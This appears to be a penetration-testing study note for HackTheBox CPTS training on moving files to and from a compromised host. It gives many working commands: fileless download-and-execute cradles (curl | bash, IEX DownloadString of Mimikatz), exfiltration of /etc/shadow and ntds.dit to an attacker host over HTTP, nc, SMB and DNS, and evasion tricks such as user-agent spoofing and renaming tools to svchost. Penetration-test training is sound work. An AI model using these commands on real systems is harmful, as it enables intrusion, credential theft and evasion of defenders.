FLOW ^: Pentest Workflow

Foothold Toolkit — File Transfers

CPTS attack-flow reference for foothold toolkit — file transfers in an authorised engagement.

intermediate updated 2026-08-29 curl · wget · scp · Impacket

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 04 of 17 · Focus: Foothold Toolkit — File Transfers

Previous: Stage 02 — Web Enumeration and Exploitation · Next: Foothold Toolkit — Shells, Payloads, and Metasploit


📦 FOOTHOLD TOOLKIT — File Transfers

Got a foothold (web shell, nc callback, RCE one-liner) and now need to drag tooling onto the box or drag loot off it. Which port/protocol survives the firewall decides the method — HTTP/S almost always egresses, SMB (445) is often blocked outbound in enterprise, FTP is dying. Decide the direction before the tool: if the target can’t reach me outbound, I make it listen and connect to it; if inbound to the target is filtered, I host on my box and have the target pull. Deep dives: 3 - Linux File Transfer Methods · 2 - Windows File Transfer Methods · 4 - Transferring Files with Code · 5 - Miscellaneous File Transfer Methods · 6 - Living off the Land & Evading Detection.

[!note] Direction & serve-quickref $LHOST = my tun0, $IP = target. On Windows blocks %LHOST% = “sub my attack IP here” (Win shells don’t expand $LHOST). Stand up one of these on the Pwnbox, then have the target pull:

python3 -m http.server 80 --bind 0.0.0.0     # HTTP host (also line ~518/638 in guide)
php -S 0.0.0.0:8000                           # if python's taken
ruby -run -ehttpd . -p8000                    # ruby fallback
busybox httpd -f -p 8080                      # zero-dep fallback on minimal attack boxes/containers
python3 -m uploadserver 443 --server-certificate ~/server.pem   # HTTPS + /upload catch
sudo impacket-smbserver share -smb2support /tmp/smbshare         # SMB share

Always md5sum/Get-FileHash both ends after a paste or a flaky channel — copy-paste corruption and ASCII-mode FTP mangling are silent.

[!tools] Stage this (from attachments/) nc64.exe (SHA-256 · GPG signature) Windows-side netcat for the raw-socket transfer and reverse-shell patterns below. Verify against the vault integrity record before staging anything onto a target: SHA256SUMS (GPG signature) SHA256-verify every staged binary: sha256sum -c SHA256SUMS.txt --ignore-missing on the attack box, Get-FileHash -Algorithm SHA256 on Windows targets. A corrupted nc64.exe transfer wastes a shell; a tampered one burns the op.


🧭 Choose the channel — decision table

Read egress and host context before generating a payload. Wrong channel = dropped connection = lost shell. MITRE: T1105 (Ingress Tool Transfer), T1041/T1048 (Exfiltration), T1071 (Application Layer Protocols).

Situation on targetChannelWhy / caveats
Normal egress, HTTP/HTTPS out allowedHTTP(S): curl/wget, PS WebClient/IWRDefault choice; watch proxy auth and TLS inspection
Domain-joined Windows, SMB to my box routableimpacket smbserver.py + copy \\$LHOST\share\445 often blocked outbound from user VLANs — test, don’t assume
HTTP dead but 21/69 reachable (legacy/OT)FTP (pyftpdlib) / TFTP (atftpd)Plaintext, no integrity; TFTP is UDP — verify hash after
Only one arbitrary port open (e.g. 443 free)nc/socat/openssl s_server raw socketNo resume, no integrity — compress + hash
Egress fully blocked, I have a route inBind-style: target listens, I push (nc -l, smbserver on target side via scp)Inbound filtering on target may still bite; try high ports
I hold creds/keys on the targetSSH (scp/sftp/rsync), WinRM (Copy-Item -ToSession, evil-winrm upload)Encrypted, authenticated, quietest option when available
Existing RDP session (GUI access)xfreerdp /drive: redirect → \\tsclient\Zero new network flows; rides the session I already have
Meterpreter session upupload/download in-channelNo new ports, encrypted C2 channel, chunked + resumable
Huge file over flaky linkCompress first (tar czf, Compress-Archive), then any channelFewer bytes = fewer chances to die mid-transfer
Everything filtered except DNSDNS exfil concept (dnscat2)Slow (bytes/sec); last resort, very noisy per-byte
No network at all, paste channel onlybase64 chunked copy-pastecmd.exe 8,191-char ceiling; small files only, hash-verify

Port-choice heuristic: 443 first (blends with HTTPS egress), then 80, then 53/123 (DNS/NTP-shaped), then whatever the foothold itself arrived on (that port is proven routable). Avoid “hacker ports” (4444, 1337) on real engagements — they’re watchlisted; fine in the lab because HTB boxes rarely egress-filter at all. On the Pwnbox, remember ports <1024 need sudo to bind.

[!tip] CPTS exam tip The exam boxes usually leave 80/443 egress openpython3 -m http.server + curl/certutil solves 90% of transfers. Practice the impacket-smbserver + net use dance anyway: it’s the intended path whenever the scenario drops you on a Windows host with shared tooling, and it doubles as the delivery mechanism for DLL-hijack and coercion chains in Stage 09 and Stage 10.


Hosting files from the Pwnbox — server matrix

What to look for → on my side: which port is free (ss -lntup | grep -E ':80|:443'), whether I need upload and download, TLS or not, and whether my own host firewall is in the way. MITRE: T1105 (Ingress Tool Transfer) — the server half of the same technique.

ServerOne-linerUpload?TLS?Use when
python3 http.serverpython3 -m http.server 80 --bind 0.0.0.0The default; GET-only, logs every hit
updogupdog -p 443 --sslhttp.server with a drop-in upload form + TLS
python3 uploadserverpython3 -m uploadserver 8000✅ (/upload)✅ (--server-certificate)Multipart POST catcher, token auth option
php built-inphp -S 0.0.0.0:8000When python3 is absent/busy
busybox httpdbusybox httpd -f -p 8080Minimal containers, no full python
ruby httpdruby -run -ehttpd . -p8000Last-ditch fallback
impacket smbserversudo impacket-smbserver share -smb2support /tmp/smb✅ (copy back)n/aWindows targets, UNC path delivery
pyftpdlibsudo python3 -m pyftpdlib -p 21 -wScripted ftp.exe targets
atftpdsudo atftpd --daemon --port 69 /tftpbootTFTP clients (XP-era / network boot)
# Check before binding — a stale listener is the #1 "my transfer hung" cause
ss -lntup | grep -E ':(80|443|8000)\b'
sudo fuser -k 80/tcp                    # free the port if an old server holds it

# Pwnbox firewall — don't forget to actually allow the port in
sudo iptables -I INPUT -p tcp --dport 80 -j ACCEPT    # or: sudo ufw allow 80/tcp

[!warning] Watch out

  • --bind 0.0.0.0 matters on multi-homed setups: binding to localhost (some tools’ default) makes the server invisible to the target and you’ll chase a “target can’t reach me” ghost for ten minutes.
  • http.server serves the current working directorycd into a dedicated staging dir (~/staging) so you don’t leak your whole home folder, and so hit-logs map cleanly to staged files.
  • Watch the server log line when the target pulls: 200 = served, 404 = wrong path on the target’s command, no log line at all = egress/filtering problem, not a typo problem.

Linux target — pull tooling down

What to look for → which downloader exists: which curl wget; type python3 php ruby perl; echo $BASH_VERSION. Real IR data shows droppers try curl → wget → python in sequence — mirror that fallback ladder.

Linux fetcher ladder (preference order)

FetcherPrimitivePre-installed?Notes
curlHTTP/S, FTP, SCP/SFTPUsually-o output; -s quiet; --insecure for self-signed
wgetHTTP/S, FTPUsually-O output (capital); -qO- streams to stdout
nc + listenerRaw TCPOften (openbsd variant)No integrity — hash after
bash /dev/tcpRaw TCPBash-only built-inSurvives “minimal” containers with no fetchers
openssl s_clientTLS rawVery commonFetches over TLS from openssl s_server
scp/sftp/rsyncSSHIf sshd + credsEncrypted, authenticated, resumable (rsync)
python3/php/perl/rubyHTTP via stdlibOne usually existsLanguage one-liners below

Serve + fetch

# Pwnbox: host the dir with linpeas/pspy/nc etc.
python3 -m http.server 80 --bind 0.0.0.0
# updog (https://github.com/sc0tfree/updog) — http.server replacement with TLS + built-in /upload:
updog -p 443 --ssl          # pip install updog; serves AND receives in one process

# Target — the two obvious ones (note -O vs -o gotcha)
wget http://$LHOST/linpeas.sh -O /tmp/lp.sh
curl -o /tmp/lp.sh http://$LHOST/linpeas.sh

# Fileless — never touches disk, pipe straight into the interpreter
curl -s http://$LHOST/linpeas.sh | bash
wget -qO- http://$LHOST/helloworld.py | python3

# No curl AND no wget? Bash's /dev/tcp built-in speaks raw HTTP
exec 3<>/dev/tcp/$LHOST/80
echo -e "GET /linpeas.sh HTTP/1.1\nHost: $LHOST\n\n" >&3
cat <&3                                          # strip headers above the blank line

# nc fallback pull (Pwnbox serves raw): nc -lvnp 80 -q 0 < linpeas.sh
nc $LHOST 80 > /tmp/linpeas.sh

# interpreter one-liners (when only a language runtime is present)
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://'$LHOST'/lp.sh","lp.sh")'
php -r '$f=file_get_contents("http://'$LHOST'/lp.sh");file_put_contents("lp.sh",$f);'
ruby -e 'require "net/http";File.write("lp.sh",Net::HTTP.get(URI("http://'$LHOST'/lp.sh")))'
perl -e 'use LWP::Simple;getstore("http://'$LHOST'/lp.sh","lp.sh");'

# SSH family — when I hold creds or a key on the target's sshd
scp htb-student@$IP:/root/root.txt .            # pull one file
sftp htb-student@$IP                            # interactive; get/put, -P for odd ports
rsync -avz -e ssh htb-student@$IP:/var/www/loot/ ./loot/   # resumable, deltas, best for big dirs

# openssl s_client as a TLS fetcher (target has openssl but no curl/wget)
openssl s_client -connect $LHOST:443 -quiet <<< "GET /lp.sh HTTP/1.0" | sed '1,/^\r$/d' > lp.sh

[!warning] Watch out

  • wget -O (capital O, output file) vs curl -o (lowercase) — swap them and you clobber the wrong path. curl -O (capital) keeps the remote name.
  • “Fileless” is relative: payloads that mkfifo still drop temp files. And piping into bash leaves no copy to re-inspect — if you might need it for the report, download first.
  • /dev/tcp needs Bash ≥2.04 built with --enable-net-redirections (default on most distros, absent on dash/sh).
  • scp on OpenSSH ≥9 defaults to the SFTP protocol under the hood — ancient targets with only the legacy scp server need scp -O.

Linux target — push loot out

What to look for → a writable landing spot on my side (uploadserver, updog, nginx PUT, an SSH user), or a listener I control.

Exfil

# Pwnbox HTTPS catcher (self-signed), then multipart POST from target
openssl req -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Target — several files in one shot
curl -X POST https://$LHOST/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

# nginx PUT endpoint (dav_methods PUT;) → curl -T for a raw HTTP PUT
curl -T /root/ntds.dit http://$LHOST:9001/SecretUploadDirectory/ntds.dit

# SCP the other direction (local→remote args just swap)
scp /etc/passwd htb-student@$IP:/home/htb-student/

# Python requests one-liner upload
python3 -c 'import requests;requests.post("http://'$LHOST':8000/upload",files={"files":open("/etc/passwd","rb")})'

# Raw nc exfil (Pwnbox: nc -lvnp 443 > loot.tar.gz)
tar czf - /etc/shadow /etc/passwd | nc $LHOST 443     # compress-and-pipe in one step

[!tip] Encrypt sensitive loot before it leaves — never ship raw NTDS/creds over plaintext

openssl enc -aes256 -iter 100000 -pbkdf2 -in ntds.dit -out ntds.enc     # decrypt: add -d

Use PBKDF2 + high iter (not OpenSSL’s legacy KDF), unique passphrase per engagement. age is the sane modern alternative but rarely pre-installed. MITRE: T1567 (Exfiltration Over Web Service) vs T1048 (Exfiltration Over Alternative Protocol) — pick the tag that matches the channel in the report.


Windows target — pull tooling down (cradle table)

What to look for → PowerShell available? then WebClient is fastest and most reliable. cmd.exe only? → certutil/bitsadmin/scripted ftp.exe. Net.WebClient is technically obsolete in .NET but still the go-to on Windows PowerShell 5.1. MITRE: T1105 (Ingress Tool Transfer), T1059.001 (PowerShell), T1218 (LOLBins).

The cradle matrix — shortest path first

MethodOne-linerNotes / detection
IEX in-memoryIEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/pv.ps1')Fileless; AMSI scans the string at IEX time
WebClient to disk(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc64.exe','C:\Windows\Temp\nc64.exe')Reliable all PS versions; process-tree telemetry
IWR to diskiwr http://%LHOST%/nc64.exe -UseBasicParsing -OutFile nc64.exeSlower; needs -UseBasicParsing pre-IE-first-run
BITS (PS)Start-BitsTransfer -Source http://%LHOST%/nc64.exe -Destination C:\Temp\nc64.exeResumable; Microsoft BITS UA is a known tell
certutilcertutil -urlcache -split -f http://%LHOST%/nc64.exe nc64.exeThe classic; flagged by default on modern EDR
curl.exe / wget.execurl.exe -o nc64.exe http://%LHOST%/nc64.exeShips in System32 since Win10 1803+ — cleanest LOLBin now
esentutlesentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Temp\nc64.exe /oCopy-via-database LOLBin; works over UNC too
mshtamshta http://%LHOST%/dl.htaExecutes HTA, not a raw download — pairs with an HTA dropper
rundll32 url.dllrundll32 url.dll,FileProtocolHandler http://%LHOST%/nc64.exeMostly an exec primitive; expect it to open in-browser, not save
scripted ftp.exesee block belowASCII-mode default corrupts binaries — send binary
cscript LOLBincscript //nologo wget.vbs http://%LHOST%/nc64.exe nc64.exeWhen AppLocker blocks PowerShell

Fetch (PowerShell)

# WebClient — works every PS version, HTTP/HTTPS/FTP
(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','C:\Windows\Temp\nc.exe')

# Fileless: run in memory, nothing on disk (defeats file-based AV, not AMSI/EDR)
IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/PowerView.ps1')
(New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-Mimikatz.ps1') | IEX

# Invoke-WebRequest (iwr/curl/wget aliases) — slower, "expected" in normal PS
Invoke-WebRequest http://%LHOST%/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1

# Modern curl.exe — present in C:\Windows\System32 since Win10 1803, plain and quiet-ish
curl.exe -s -o C:\Windows\Temp\nc64.exe http://%LHOST%/nc64.exe

Fetch (cmd / LOLBins)

:: certutil — the classic "wget for Windows" (loud, AMSI-flagged; two spellings)
certutil.exe -urlcache -split -f http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe
certutil.exe -verifyctl -split -f http://%LHOST%/nc.exe

:: bitsadmin
bitsadmin /transfer job /priority foreground http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe

:: scripted ftp.exe when there's no interactive shell (Pwnbox: python3 -m pyftpdlib -p 21 -w)
echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc.exe>> ftp.txt& echo bye>> ftp.txt
ftp -v -n -s:ftp.txt

:: esentutl copy over UNC or HTTP-cache paths (database LOLBin)
esentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Windows\Temp\nc64.exe /o

:: cscript LOLBin (JScript/VBScript) when PowerShell itself is blocked by AppLocker
cscript.exe /nologo wget.vbs http://%LHOST%/nc.exe nc.exe
# BITS via the PS module, and GfxDownloadWrapper (Intel driver LOLBin) if present
Import-Module bitstransfer; Start-BitsTransfer -Source "http://%LHOST%/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
GfxDownloadWrapper.exe "http://%LHOST%/nc.exe" "C:\Temp\nc.exe"

[!warning] Watch out

  • Invoke-WebRequest on a fresh server dies with “Internet Explorer’s first-launch configuration is not complete” — add -UseBasicParsing. TLS trust error? [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} before the download.
  • certutil & bitsadmin are the most-taught AND most-detected LOLBins — modern AMSI/EDR flags them out of the box (Microsoft-CryptoAPI/10.0 / Microsoft BITS/7.8 user-agents give them away). On a monitored box prefer Net.WebClient, curl.exe, or in-memory .NET; save certutil for unmonitored/CTF.
  • cmd.exe caps command strings at 8,191 chars — base64-paste of anything bigger silently truncates. Use a real network transfer for binaries.
  • mshta/rundll32 url.dll are execution primitives wearing a download costume — use them to trigger an HTA dropper, not to save files.

Windows target — push loot out (incl. the smbserver + copy pattern)

What to look for → 445 outbound open → impacket SMB (bidirectional, cleanest). 445 blocked → WebDAV rides HTTP/S. No upload server → base64 POST to a bare nc. MITRE: T1021.002 (SMB/Windows Admin Shares), T1105.

SMB via impacket-smbserver (download and exfil, same share)

# Pwnbox — anon share for older Windows...
sudo impacket-smbserver share -smb2support /tmp/smbshare
# ...but modern Windows blocks unauthenticated guest → serve WITH creds instead
sudo impacket-smbserver share -smb2support /tmp/smbshare -user u -password p
:: pull down (guest)
copy \\%LHOST%\share\nc.exe C:\Windows\Temp\
:: guest-access error? map an authed drive, then copy
net use n: \\%LHOST%\share /user:u p
copy n:\nc.exe C:\Windows\Temp\
:: exfil — just copy the OTHER way, into the same share
copy C:\Users\john\Desktop\SourceCode.zip \\%LHOST%\share\
:: tidy up the mapped drive when done (OPSEC: don't leave creds cached)
net use n: /delete

WebDAV when SMB/445 is filtered (rides HTTP, DavWWWRoot is a shell keyword, not a folder)

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
dir \\%LHOST%\DavWWWRoot
copy C:\loot\SourceCode.zip \\%LHOST%\DavWWWRoot\

PowerShell upload (no native upload cmdlet — pair with a server, or POST base64 to nc)

# PSUpload against uploadserver's /upload
IEX(New-Object Net.WebClient).DownloadString('http://%LHOST%/PSUpload.ps1')
Invoke-FileUpload -Uri http://%LHOST%:8000/upload -File C:\Windows\System32\drivers\etc\hosts

# no upload server needed — base64 the file, POST the body, catch with bare nc
$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\loot\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://%LHOST%:8000/ -Method POST -Body $b64

# certreq.exe LOLBin — POST any file to a listener
certreq.exe -Post -config http://%LHOST%:8000/ C:\Windows\win.ini
# Pwnbox — catch the base64/certreq POST body, then decode
nc -lvnp 8000
echo '<base64 from request body>' | base64 -d > hosts

[!warning] Watch out

  • A guest-access failure on copy \\ip\share\file is a signal, not a dead end — the target enforces SMB signing/guest-block. Pivot to authed SMB (net use) or WebDAV, don’t assume SMB is unreachable.
  • impacket-smbserver is also how you serve DLLs for hijack/coercion chains (see guide STAGE 9 smbserver.py share …). Same tool, -smb2support is mandatory for modern clients.
  • FTP defaults to ASCII mode and corrupts binaries — always issue binary first in the scripted command file.
  • net use with /user: leaves the credential in the session and can pop a cached-cred artifact — /delete the mapping during cleanup (Stage 10 loot hygiene).

FTP & TFTP — the legacy lanes

What to look forftp/tftp clients present on target (where ftp tftp), ports 21/69 reachable. FTP still appears on CPTS boxes and in OT/legacy estates; TFTP is mostly a Windows XP-era built-in (tftp.exe was removed from default installs after XP / re-optional via “TFTP Client” feature).

Serve (Pwnbox)

# pyftpdlib (https://github.com/giampaolo/pyftpdlib) — writable anonymous FTP in one line
sudo python3 -m pyftpdlib -p 21 -w
# TFTP — atftpd daemon rooted at /tftpboot (UDP 69, needs sudo)
sudo atftpd --daemon --port 69 /tftpboot

Fetch from Windows

:: scripted ftp.exe (non-interactive via -s:script) — binary mode is NOT optional for .exe
echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc64.exe>> ftp.txt& echo bye>> ftp.txt
ftp -v -n -s:ftp.txt

:: tftp.exe — Windows XP / Server 2003 era (client must be installed on modern Windows)
tftp -i %LHOST% GET nc64.exe

[!warning] Watch out

  • Both protocols are plaintext with no integrity or auth — creds and loot are sniffable on the wire, and a dropped UDP packet in TFTP silently corrupts. Hash-verify after every TFTP pull.
  • FTP needs two channels (21 control + data port); stateful firewalls that kill “just port 21” expectations break active-mode FTP — the passive vs active mismatch is the classic “connects but GET hangs” failure.
  • On modern Windows, tftp.exe absent ≠ TFTP impossible — but installing the feature is itself a loud, logged change. Prefer another lane.

No network path — base64 paste (either OS)

What to look for → only a copy-paste channel exists (web shell, RDP clipboard, restricted console, an SSH session I can type into but can’t route through) with no reachable port either direction. Small files only (keys, scripts) — cmd.exe’s 8,191-char ceiling kills big pastes. MITRE: T1140 (Deobfuscate/Decode Files or Information).

The standard paste-into-SSH workflow (both directions)

  1. Hash the source file (md5sum / Get-FileHash) — this hash is the receipt.
  2. Encode to one unbroken line: base64 -w 0 on Linux, [Convert]::ToBase64String(...) on Windows.
  3. Paste into the target shell (for SSH sessions, a plain paste into cat > f.b64 then Ctrl+D works; for web shells, POST the b64 as a parameter).
  4. Decode on target and hash again — mismatch = wrap/paste corruption, redo in smaller chunks.

Round-trip — hash first, encode one line, verify after

# Pwnbox — hash, then encode to one unbroken line
md5sum id_rsa; cat id_rsa | base64 -w 0; echo

# big file? chunk it so no single paste exceeds the target's command-line limit
split -b 51200 tool.exe part_          # then base64 -w 0 each part_*
# Windows target — decode bytes back to disk, verify hash
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",[Convert]::FromBase64String("<b64>"))
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# chunked paste: write each part with Add-Content / certutil -decode per chunk, then reassemble:
#   cmd> copy /b part_aa+part_ab tool.exe
# reverse (exfil): encode on target...
[Convert]::ToBase64String((Get-Content "C:\loot\hosts" -Encoding byte))
# Linux target — decode (-n on echo avoids a stray newline)
echo -n '<b64>' | base64 -d > id_rsa; md5sum id_rsa
# chunked: cat parts in order, then decode once
cat part_* > all.b64 && base64 -d all.b64 > tool.exe && md5sum tool.exe

[!warning] Watch out Always MD5/SHA256 both ends — line-wrapping and encoding drift on paste are the classic silent failure. Use base64 -w 0 so it’s one line, and echo -n on decode so no extra byte sneaks in. Make hash-verify a reflex: the vault keeps attachments/SHA256SUMS.txt as the source-of-truth record — check staged binaries against it before they cross the wire, and re-hash on the target after.


Alt-channel transfers (nc / TLS / WinRM / RDP / meterpreter / DNS)

What to look for → HTTP/SMB/FTP all blocked but something is reachable: a raw port for nc, WinRM (5985/5986), an existing RDP session, or a live meterpreter channel.

# ── Netcat/Ncat — direction-agnostic; -q 0 / --send-only / --recv-only closes cleanly ──
# Windows side uses the staged nc64.exe (attachments/) — same syntax:
#   C:\> nc64.exe -l -p 8000 > tool.exe     (then push from Pwnbox)
#   C:\> nc64.exe $LHOST 443 < loot.zip     (exfil from Windows back to my listener)
# target listens, I push:
victim$ nc -l -p 8000 > tool.exe          #   nc -q 0 $IP 8000 < tool.exe   (from Pwnbox)
# I listen, target pulls out (use when target inbound is blocked but outbound works):
sudo nc -l -p 443 -q 0 < tool.exe         #   victim$ nc $LHOST 443 > tool.exe
# no nc on target at all:
victim$ cat < /dev/tcp/$LHOST/443 > tool.exe
# nc has NO integrity — always md5sum both ends after a raw-socket transfer
md5sum tool.exe                           # run on BOTH sides, compare

# ── openssl as an nc-with-TLS (GTFOBins) — blends into 443, dodges plaintext IDS ──
openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem
openssl s_server -quiet -accept 443 -cert c.pem -key k.pem < linpeas.sh
victim$ openssl s_client -connect $LHOST:443 -quiet > linpeas.sh
# ── WinRM (5985/5986) when HTTP+SMB dead but I have admin/Remote-Mgmt rights ──
$S = New-PSSession -ComputerName DATABASE01
Copy-Item -Path C:\tool.exe -ToSession $S -Destination C:\Windows\Temp\    # push
Copy-Item -Path C:\loot\DB.txt -Destination C:\ -FromSession $S            # pull
# evil-winrm (https://github.com/Hackplayers/evil-winrm) — built-in upload/download verbs
evil-winrm -i $IP -u "$U" -p "$P"
#   *Evil-WinRM* > upload SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe
#   *Evil-WinRM* > download C:\\loot\\report.txt ./report.txt

# ── RDP drive redirection — /tsclient share, easy to forget RDP is a transfer channel ──
xfreerdp /v:$IP /d:$DOMAIN /u:$U /p:"$P" /drive:linux,/home/kali/rdshare
#   → inside the session, files land at \\tsclient\linux
# ── meterpreter in-channel (see sibling note 05) — no new ports, encrypted, resumable ──
meterpreter > upload /home/kali/tools/winPEASx64.exe C:\\Windows\\Temp\\
meterpreter > download C:\\loot\\ntds.enc /home/kali/loot/

DNS exfil (concept) — when DNS (53) is the only thing that egresses: chunk the file, base32/hex-encode each chunk, and fire them as lookups against a domain whose authoritative NS you control (<chunk>.exfil.$MYDOMAIN), reassemble server-side. Frameworks: dnscat2, iodine. MITRE: T1071.004 (DNS), T1048.003. Expect bytes/second throughput and a lot of queries — noisy per byte; size the payload accordingly. Fine for a harvested password or a small keyfile; hopeless for ntds.dit — compress-and-encrypt first, then decide if DNS is really the only way out.


Modern Windows has OpenSSH — use it

What to look for → Win10 1809+/Server 2019+ ship an OpenSSH client (ssh.exe, scp.exe, sftp.exe in C:\Windows\System32\OpenSSH\) even when the sshd server feature is off. If the target can egress on 22 (or I re-point my sshd to 443/80), the whole SSH transfer toolkit works from Windows without staging anything.

:: pull from my Pwnbox sshd (sshd must be running on MY side)
scp.exe kali@%LHOST%:/home/kali/staging/winPEASx64.exe C:\Windows\Temp\
:: push loot back the same way
scp.exe C:\loot\report.zip kali@%LHOST%:/home/kali/loot/
# Pwnbox — make sshd reachable on an egress-friendly port if 22 is filtered
sudo /usr/sbin/sshd -p 443          # dedicated instance alongside the stock one

[!tip] Why bother: SSH gives encryption + integrity + auth in one protocol, and scp.exe is a signed Microsoft binary — no LOLBin stigma, no AMSI involvement. The cost is interactivity (host-key prompt, password) unless I stage a key first. MITRE: T1021.004 (SSH) / T1105.


[!tip] Why these earn their place WinRM/openssl/RDP/meterpreter all live on different ports than the HTTP/SMB/FTP a firewall usually watches. If the “normal” three are blocked but you already hold the access (admin creds → WinRM, an RDP session → drive redirect, a meterpreter session → in-channel transfer), these walk files right past the egress rules. socat covers the multi-hop/relay cases nc can’t. RDP drive redirection writes via the session, so it shows up as mstsc-adjacent activity, not a new outbound flow — quiet, but it does leave the file on the redirected share path in logs.


Compress first, transfer second

What to look for → big loot (ntds.dit + registry hives, source trees, log dirs) or a flaky channel. Fewer bytes = fewer retries = less time on the wire. MITRE: T1560.001 (Archive Collected Data).

# Linux — tar stream (exfil in one pipe, no temp file on target)
tar czf - /var/www/html /etc/ssh 2>/dev/null | nc $LHOST 443 > /dev/null   # ...or | curl -T - http://$LHOST/up.tgz
# Windows — Compress-Archive (PS 5.0+), then transfer the .zip by any cradle above
Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip
:: pre-PS5 / cmd-only: PowerShell one-shot still works from cmd
powershell -c "Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip"

[!warning] Watch out tar/Compress-Archive of live Windows files (registry hives, locked DBs) fails or grabs torn copies — for hives use reg save HKLM\SAM sam / reg save HKLM\SYSTEM system first, for ntds.dit use shadow-copy or ntdsutil (see Stage 08).


Evading detection (OPSEC)

What to look for → evasive testing is in scope and the target has EDR/SIEM. Every downloader has a fingerprintable default user-agent; command-line blacklisting is weak but whitelisting + UA baselining is what actually catches these.

# Spoof the UA to a browser preset so it blends with normal egress traffic
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://%LHOST%/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exe
:: certutil doubles as a base64 encoder/decoder — stage an "encoded cert" past naive content filters
certutil -encode payload.exe payload.b64
certutil -decode payload.b64 payload.exe

[!warning] Watch out

  • Known UA tells: Microsoft-CryptoAPI/10.0 (certutil), Microsoft BITS/7.8 (BITS), …WindowsPowerShell/5.1… (IWR). A blue team baselining legit UAs flags every one of these — the UA spoof only helps against UA-based rules, not against EDR watching the process tree.
  • AMSI inspects IEX cradles in memory — a DownloadString | IEX of a signatured script (mimikatz-family, older PowerView) dies at execution even if the download was clean. Obfuscate the content, not just the channel; and remember AMSI is per-process — powershell -enc still passes through it.
  • The download is rarely the loud part — it’s the SYSTEM cmd/powershell that the payload spawns (Event 4688). Getting the file over quietly buys nothing if execution screams.
  • Check LOLBAS (/download,/upload) and GTFOBins (+file download/upload) per-engagement for a binary already whitelisted in that environment — that beats any famous-but-signatured default. Confirm evasive testing is scoped before deliberately dodging detection.
  • Cleanup (T1070.004): delete staged tools (nc64.exe, archives, scripts), remove mapped drives, and clear $env:TEMP artifacts before ending the session — orphaned attacker tooling in C:\Windows\Temp is the #1 “you forgot something” debrief item.
  • Staging path choice matters: C:\Windows\Temp and C:\Users\Public are the classic drops because they’re world-writable — and also the first places a responder looks. A per-engagement folder under the compromised user’s own profile blends better and inherits that user’s permissions.
  • Rename to blend (T1036): nc64.exesvchost-update.exe / audiodg.exe naming conventions reduce casual triage hits, but do nothing against hash- or signature-based detections. Pair renaming with the integrity habit: record the new name ↔ SHA256 mapping in your notes so the report’s evidence chain stays honest.

[!example] CPTS workflow recap

  1. which curl wget nc / where curl certutil on target → pick the fetcher.
  2. Serve on Pwnbox (python3 -m http.server 80 or updog --ssl).
  3. Transfer, then hash-verify against attachments/SHA256SUMS.txt habit.
  4. Execute; when done, clean up staged files and note the channel used for the report’s ATT&CK mapping.

Troubleshooting matrix — “the transfer didn’t work”

SymptomLikely causeFix
Target: connection timed outEgress filter on that port; wrong $LHOST; server bound to localhostTry 443/80; re-check ip a tun0; re-bind --bind 0.0.0.0
Target: connection refusedNothing listening / Pwnbox firewall drops itss -lntup on Pwnbox; iptables -I INPUT ... -j ACCEPT
Server log shows 404Target asked for the wrong path (case, cwd)Serve from a dedicated staging dir; copy the exact filename
File arrives but won’t run / hash mismatchASCII-mode FTP mangling; paste wrap; truncated ncRe-send in binary mode; md5sum both ends; use -q 0 clean close
certutil downloads a 0-byte or HTML fileProxy interception / captive portal answering instead of my serverTry curl.exe or SMB; inspect what actually landed (type file)
copy \\$LHOST\share\ → “logon failure”Guest SMB blocked (modern Windows default)net use n: \\$LHOST\share /user:u p against an authed share
WebDAV copy → “network path not found”WebClient service stopped on targetnet start webclient (needs the service present)
iwr TLS error on HTTPSSelf-signed cert rejectedSet ServerCertificateValidationCallback = {$true} first
FTP connects but GET hangsActive-mode data channel blocked by firewallSwitch to passive mode, or abandon FTP for HTTP
Big file dies mid-transfer every timeFlaky link, no resume on raw ncCompress first; use BITS/rsync/meterpreter (resumable)

[!tip] Transfer hygiene checklist (before leaving the box)

  • Staged tools deleted from /tmp, C:\Windows\Temp, C:\Users\Public
  • net use mappings removed; RDP /drive shares disconnected
  • Listeners killed on Pwnbox (jobs -K in msf, fuser -k for stray nc/http.server)
  • Loot encrypted at rest on the attack box; hashes recorded for the report evidence chain
  • Channels + filenames logged for the ATT&CK mapping in Stage 11

[!navigation] Continue the attack flow Previous: Stage 02 — Web Enumeration and Exploitation

Dashboard: HTB Pentest Attack Flow

Next: Foothold Toolkit — Shells, Payloads, and Metasploit